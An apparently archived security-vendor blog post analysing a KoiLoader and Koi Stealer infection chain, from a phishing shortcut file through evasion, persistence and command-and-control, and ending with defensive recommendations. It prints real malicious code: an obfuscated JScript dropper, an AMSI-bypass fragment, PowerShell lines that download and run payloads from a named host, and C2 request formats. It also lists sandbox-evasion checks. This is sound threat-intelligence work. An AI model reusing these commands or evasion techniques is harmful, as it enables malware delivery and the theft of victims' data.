The Long and Short(cut) of It: KoiLoader Analysis By eSentire Threat Response Unit (TRU) Archived: 2026-04-06 01:15:26 UTC Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes. We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware. Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team. In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward. Here’s the latest from our TRU Team… What did we find? In March 2025, the eSentire Threat Response Unit (TRU) detected an intrusion attempt involving the use of a shortcut file leading to the loading of a new version of KoiLoader, a malware loader that facilitates Command and Control (CnC), and downloads/executes Koi Stealer, an information stealer written in C# with advanced information stealing capabilities. Infection Chain The infection chain can be seen in the figure below. https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 1 of 20 Figure 1 – Infection chain Initial Access Initial access is achieved through a spam email and link to a zip file, “chase_statement_march.zip”, similarly to our prior report. Within the zip file, the victim clicks a shortcut file named “chase_statement_march.lnk”, which serves to download and execute KoiLoader. This shortcut file makes use of a well-known, low-severity bug in Windows to effectively conceal the command line arguments when viewing the file's properties. As seen in the figure below, the “Target” field is truncated and the remaining contents of the malicious command are unable to be viewed. Figure 2 – Shortcut file using ZDI-CAN-25373 The full contents of the malicious command can be seen below. First, two JScript files are downloaded to C:\ProgramData\g1siy9wuiiyxnk.js and C:\ProgramData\i7z1x5npc.js. Next, a scheduled task is created using the LOLBin “schtasks.exe” to run the JScript file g1siy9wuiiyxnk.js. https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 2 of 20 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command $pdw = $env:programdata + '\' + ('g1siy9wuii Figure 3 – Malicious command from lnk file The contents of g1siy9wuiiyxnk.js can be seen below. The purpose of the script is to delete the scheduled task created before and run a new instance of wscript to execute i7z1x5npc.js. It is highly likely that this technique is being used to evade detection, as the parent process of wscript.exe is usually explorer.exe in attacks involving the user double clicking a script file, whereas using this technique, the parent process is svchost.exe, giving the impression that WScript was launched by a more trustworthy parent process chain. var dol3 = new ActiveXObject("WScript.Shell") dol3.Run("powershell -command \"schtasks /delete /tn " + WScript.arguments(0) + " /f; wscript $env:programdata\\ Figure 4 – Contents of g1siy9wuiiyxnk.js The contents of the script i7z1x5npc.js can be seen below, which performs the following actions: 1. Acquires the victim machine’s unique identifier GUID via the registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid”. 2. Copy the current script (i7z1x5npc.js) to C:\ProgramData\“r” + + “r”.js. 3. Send two GET requests to download two PowerShell scripts delivered via the URLS “https://casettalecese[.]it/wp-content/uploads/2022/10/boomier10qD0.php” and https://casettalecese[.]it/wp-content/uploads/2022/10/nephralgiaMsy.ps1. The responses are then evaluated as code via Invoke-Expression (IEX). var f1="Scr",f2="ing.Fi",f3="stemOb" var fso = new ActiveXObject(f1+"ipt"+f2+"leSy"+f3+"ject") var w1="WSc",w2="riPt",w4="eLl" var wsh=w1+w2+".sH"+w4 var bbj=new ActiveXObject(wsh) var fldr=GetObject("winmgmts:root\\cimv2:Win32_Processor='cpu0'").AddressWidth==64?"SysWOW64":"System32" var rd=bbj.ExpandEnvironmentStrings("%SYSTEMROOT%")+"\\"+fldr+"\\WindowsPowerShell\\v1.0\\powershell.exe" var agn='r'+bbj.RegRead('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid')+'r.js' if (WScript.ScriptName != agn) { var fs5="yFi" try { fso["Cop"+fs5+"le"](WScript.ScriptFullName, bbj.ExpandEnvironmentStrings("%programdata%")+"\\"+agn) } catch (e) {} } var mtx_name="7zAVOXWBV1U0" var mtx_file = bbj.ExpandEnvironmentStrings("%tem"+"p%")+"\\"+mtx_name var fs1="leteFi" var fs2="leExis" https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 3 of 20 try { fso["De"+fs1+"le"](mtx_file) } catch (e) {} if (!fso["Fi"+fs2+"ts"](mtx_file)) { bbj.Run(rd+" -command \"$typs=[Ref].Assembly.GetTypes();$bss = 'https://casettalecese[.]it/wp-content/uploads/20 Figure 5 – Contents of i7z1x5npc.js The purpose of the first PowerShell script (boomier10qD0.php) is to disable Anti-Malware-Scan-Interface (AMSI). $vl1 = ("L8Ek1EOLdflxxTT2W20qMJ0EsGk12dZO5jxvxTT2W20qMJ0EMRc4Ar2q6SDDxTT2W20qMJ0EVEWXewxquV3axTT2W20qMJ0Eybr4Br $v2=$c.GetFields("NonPublic,Static") Foreach($v3 in $v2) {if ($v3.Name -like "*am*ed") {$v3.SetValue($null, $vl1)}} Figure 6 – Contents of PowerShell returned via boomier10qD0.php The purpose of the second PowerShell script (nephralgiaMsy.ps1) is to download the KoiLoader payload, allocate/write shellcode, allocate/write the KoiLoader payload, and execute the shellcode via CreateThread API call, leading to the execution of the KoiLoader payload. Figure 7 – Contents of nephralgiaMsy.ps1 KoiLoader Stage 1 https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 4 of 20 The first stage of KoiLoader serves to unpack and execute the next stage. This process can be automated by using our KoiLoader extraction script available here. The unpacking routine makes use of a hashing algorithm to resolve the Windows APIs: FindResourceW, LoadResource, and SizeofResource. It then calls these APIs to acquire two resources within the PE file that store the next stage encrypted payload and an XOR key. The payload is then written to memory, marked executable, and the OEP is called. Figure 8 – Unpacking routine The routine responsible for extracting resources from the PE file can be seen below. The routine essentially resolves the aforementioned APIs and calls them in order to extract the embedded resource within the PE file, returning a pointer to the extracted data. Figure 9 – Resolve APIs via hash, call APIs, and return pointer to resource data The routine responsible for resolving APIs via hash can be seen in the figure below. This routine loops over exported names in Kernel32 and computes a hash for each. If the hash matches the dwHash argument supplied to the function, a pointer to the resolved API is returned. https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 5 of 20 Figure 10 – Resolve APIs via hash The following python code re-implements the hashing algorithm implemented by the routine denoted in Figure 10 as “fn_compute_hash”. This python code is also available here. def fn_compute_hash(api_name): dwhash = 0x00000000 for i in range(len(api_name)): dwhash = dwhash << 4 dwhash = ord(api_name[i]) + dwhash a = dwhash & 0xF0000000 if a != 0: x = a >> 0x18 dwhash = dwhash ^ x & 0xFFFFFFFF a = (~a) & 0xFFFFFFFF dwhash = dwhash & a continue a = ~a dwhash = dwhash & a return dwhash api_name = "FindResourceW" hash_val = fn_compute_hash(api_name) print(f"The hash value for {api_name} is {hex(hash_val)}") # The hash value for FindResourceW is 0x5681127 api_name = "LoadResource" hash_val = fn_compute_hash(api_name) print(f"The hash value for {api_name} is {hex(hash_val)}") # The hash value for LoadResource is 0x9b3b115 api_name = "SizeofResource" hash_val = fn_compute_hash(api_name) https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 6 of 20 print(f"The hash value for {api_name} is {hex(hash_val)}") # The hash value for SizeofResource is 0xdaa96b5 Figure 11 – Hashing algorithm in python The routine responsible for decrypting the encrypted payload can be seen in the figure below. Figure 12 – XOR decrypt routine KoiLoader Stage 2 This stage contains the main functionality of KoiLoader, beginning with a check to ensure the malware isn’t running on friendly machines. This check involves the use of the GetUserDefaultLangID Windows API and compares the return value against the following known friendly language identifiers: Russian, Armenian, Azerbaijani (Latin/Cyrillic), Belarusian, Kazakh, Tajik, Turkmen, Uzbek (Latin/Cyrillic), and Ukrainian. If a match is found, the malware exits. Figure 13 – Language checks, evasion function call Evasion The evasion routine, denoted in the figure above as “fn_evasion” serves to check multiple attributes to identify virtual machines, specifically Hyper-V, VMWare, VirtualBox, Parallels, and QEMU, security researcher machines, and sandboxes. This routine returns TRUE in the event a check passes, and the malware exits. https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 7 of 20 1. Display devices are enumerated via EnumDisplayuDevicesW Windows API and checked against the following strings: 1. Hyper-V 2. VMWare 3. Parallels Display Manager 4. Red Hat QXL controller Figure 14 – Display devices check targeting Hyper-V, VMWare, Parallels, and QEMU 2. The user’s Documents folder is checked for the following files. 1. Recently.docx 2. Opened.docx 3. These.docx 4. Are.docx 5. Files.docx 3. The following files related to VirtualBox are checked: 1. C:\Windows\System32\VBoxService.exe 2. C:\Windows\System32\VBoxTray.exe 4. The user's desktop directory is checked for the following files, checking if the files are 4 bytes in size and contain the string "BAIT". 1. Resource.txt 2. OpenVPN.txt 5. Checks for the file “new songs.txt” in the user’s desktop directory. If the file is found, it checks to ensure the file is 0x37 bytes, if so it checks for the string “Jennifer Lopez & Pitbull - On The Floor\r\nBeyonce - Halo”. 6. Uses the Windows API GetUserNameW to get the username and lstrcmpW/StrStrW to determine if any of the following known usernames match: 1. Joe Cage 2. STRAZNJICA.GRUBUTT 3. Paul Jones 4. PJones 5. Harry Johnson 6. WDAGUtilityAccount https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 8 of 20 7. sal.rosenburg 8. d5.vc/g 9. Bruno 7. Uses the API GetComputerNameW and lstrcmpW to determine if the following computer names match: 1. DESKTOP-ET51AJO 2. WILLCARTER-PC 3. FORTI-PC 4. SFTOR-PC 8. Uses the GlobalMemoryStatusEx Windows API to determine if the machine has at least 3050 MB of physical memory. 9. Checks the user's username against "Anna" and the computer name against "ANNA-PC". Figure 15 – Username, computer name, and memory size checks 10. Next, the user's Documents folder is checked for files matching: .doc, .docx, .xls, .xlsx and 14 characters in length (excluding file extension). For matches, the file size is checked to ensure it equals 15. This is possibly used by the malware author for debugging purposes to ensure the final evasion method is skipped. For example, if they are debugging their malware as a process other than powershell.exe, they would create these files. 11. The final evasion measure checks to see if the current process is named powershell.exe, if not the malware exists. This check does not run if the prior check resulted in 21 or more matching files. https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 9 of 20 Figure 16 – Test files/running as powershell.exe check UAC Bypass via ICMLuaUtil KoiLoader makes use of a known UAC bypass to create an exclusion in Microsoft Defender via the ICMLuaUtil Elevated COM interface. The exclusion path is the same directory where the persistence script is located (C:\ProgramData). Figure 17 – UAC bypass via ICMLuaUtil Persistence Persistence is then setup via scheduled task to run the JScript dropper file from earlier (Figure 5), where the file name is the result of concatenating “C:\ProgramData\r” + + “r.js”. The machine GUID is obtained via the registry key/value “HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid”. https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 10 of 20 Figure 18 – Scheduled task Mutex Generation The C:\ drive’s volume serial number is then acquired via the GetVolumeInformation Windows API and used in generating a GUID to use as a Mutex. The Windows API CreateMutexW is then called to register the mutex, where the return value is checked to ensure the mutex doesn’t already exist. Otherwise, the malware exits ensuring another instance of the loader isn’t running in parallel. Figure 19 – Create mutex based on C:\ serial number Python code for generating the mutex can be seen below. # Volume serial number in hex format, can be acquired via PowerShell command: # (Get-WmiObject Win32_LogicalDisk | Select-Object VolumeSerialNumber).VolumeSerialNumber VOLUME_SERIAL_NUMBER = 0x5B23AC1F # Perform the calculations def calculate_guid_parts(volume_serial_number): v0 = 1219472 * volume_serial_number data3 = (v0 - 18621) & 0xFFFF https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 11 of 20 data1 = (1219472 * v0 + 1728536051) & 0xFFFFFFFF data2 = (-25712 * (data1 & 0xFFFF) - 18621) & 0xFFFF return data1, data2, data3 def generate_custom_guid(data1, data2, data3): guid_string = f"{data1:08X}-{data2:04X}-{data3:04X}-F3F3-F3F3F3F3F3F3" return guid_string if __name__ == "__main__": data1, data2, data3 = calculate_guid_parts(VOLUME_SERIAL_NUMBER) mutex = generate_custom_guid(data1, data2, data3) print(f"Mutex: {mutex}") Figure 20 – Mutex generation via python Download/Execute KoiStealer via PowerShell The routine responsible for downloading and executing KoiStealer can be seen below, which makes use of PowerShell to send a web request via IWR (Invoke-WebRequest) module and evaluates the response as PowerShell code via IEX (Invoke-Expression). The routine retrieves sd4.ps1 depending on whether the C# compiler v4.0.30319 (csc.exe) is present, otherwise sd2.ps1 is retrieved. Both files serve to download and execute KoiStealer. The PowerShell command lines used are as follows: 1. powershell.exe -command IEX(IWR –UseBasicParsing “https://casettalecese[.]it/wp-content/uploads/2022/10/sd4.ps1” 2. powershell.exe -command IEX(IWR –UseBasicParsing “https://casettalecese[.]it/wp-content/uploads/2022/10/sd2.ps1” https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 12 of 20 Figure 21 – Download/execute PowerShell that leads to KoiStealer Command and Control KoiLoader uses HTTP POST requests for Command and Control purposes. The initial request to the C2 contains the victim machine’s GUID, a build ID unique to the campaign, and an X25519 public key encoded in base64. This initial request is denoted with “101” at the beginning of the post request’s body. POST http://94.247.42[.]253/pilot.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: 94.247.42.253 Content-Length: 94 Proxy-Connection: Keep-Alive Pragma: no-cache Content-Encoding: binary 101||45LkAGkF| The next check in request to the C2 contains the victim machine’s GUID, a 16 byte randomly generated string, and encrypted data containing the victim’s OS major version, minor version, username, computer name, and domain. Data is encrypted via computing the X25519 shared secret and using it in XORing each plaintext byte. This request type is denoted with “111” in the post data. POST http://94.247.42[.]253/pilot.php HTTP/1.1 Content-Type: application/octet-stream https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 13 of 20 User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: 94.247.42.253 Content-Length: 94 Connection: Keep-Alive Pragma: no-cache Content-Encoding: binary 111||<16_BYTE_XOR_KEY_PART_2>| Figure 22 – Collect OS info, domain The next requests involve a loop that runs indefinitely to retrieve commands from the C2 server, with a one second wait between requests. This request type is denoted with “102” at the beginning of the post request’s body. POST http://94.247.42.253/pilot.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: 94.247.42.253 Content-Length: 40 Proxy-Connection: Keep-Alive Pragma: no-cache Content-Encoding: binary 102| The response returned is then handled by a jump table (switch statement), where each command is represented as a single character. Each of the commands and their associated description can be seen in the following table. https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 14 of 20 Command Description 0x67 Executes scripts/commands via Command Prompt 0x68 Executes scripts/commands via PowerShell 0x69 Enables system shutdown privilege for the running process and performs the shutdown 0x6A Creates a scheduled task to run agent.js and removes agent.js if present on the host 0x6C Establishes communication with a C2 server 0x6E Performs process injection into either explorer.exe or certutil.exe based on the subsystem value (if the subsystem is Console User Interface, the payload is injected into certutil.exe, if it’s Graphical User Interface, the payload is injected into explorer.exe) or writes the payload to %TEMP% folder and directly executes it (the naming convention for the payload is generated with PRNG) 0x70 Dynamically loads and executes a function from a DLL, in our sample, the export function is “Release” In order to triage C2 activities, we created an emulation script available here. The script generates X25519 private/public keys and computes a shared secret for encrypting data sent to the C2 in the registration process and features the ability to specify a proxy for connecting to KoiLoader C2 and generation of a fake username/computer name. https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 15 of 20 Figure 23 – KoiLoaderC2 class usage https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 16 of 20 Figure 24 – KoiLoaderC2 class create private/public key, compute shared secret What did we do? Our team of 24/7 SOC Cyber Analysts proactively isolated the affected host to contain the infection on the customer’s behalf. We communicated what happened with the customer and helped them with remediation efforts. What can you learn from this TRU Positive? Phishing emails continue to remain a key vector for malware distribution, demonstrating the continuous threat of social engineering attacks and the need for ongoing vigilance. The utilization of Anti-VM capabilities by malware like KoiLoader and KoiStealer highlights the capability of modern threats to evade analysis and detection by analysts, researchers, and sandboxes. Recommendations from the Threat Response Unit (TRU): Disable wscript.exe via AppLocker GPO or Windows Defender Application Control (WDAC): C:\Windows\System32\WScript.exe C:\Windows\Syswow64\WScript.exe *:\Windows\System32\WScript.exe (* represents wildcard to include other drive letter rather than C drive) *:\Windows\SysWOW64\WScript.exe (* represents wildcard to include other drive letter rather than C drive) https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 17 of 20 The use of obfuscation and sophisticated delivery mechanisms by malware underscores the importance of implementing comprehensive detection strategies, including script logging and behavior-based detection mechanisms, to identify and mitigate threats. Implementing Phishing and Security Awareness Training (PSAT) programs is crucial to educate employees about emerging threats and mitigate the risk of successful social engineering attacks. Use a Next-Gen AV (NGAV) or Endpoint Detection and Response (EDR) solution to detect and contain threats. Indicators of Compromise Indicators of Compromise can be found here. References https://www.esentire.com/blog/unraveling-not-azorult-but-koi-loader-a-precursor-to-koi-stealer To learn how your organization can build cyber resilience and prevent business disruption with eSentire’s Next Level MDR, connect with an eSentire Security Specialist now. https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 18 of 20 GET STARTED ABOUT ESENTIRE’S THREAT RESPONSE UNIT (TRU) The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7 Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and works as an extension of your security team to continuously improve our Managed Detection and Response service. By providing complete visibility across your attack surface and performing global threat sweeps and proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending your organization against known and unknown threats. https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 19 of 20 Source: https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis Page 20 of 20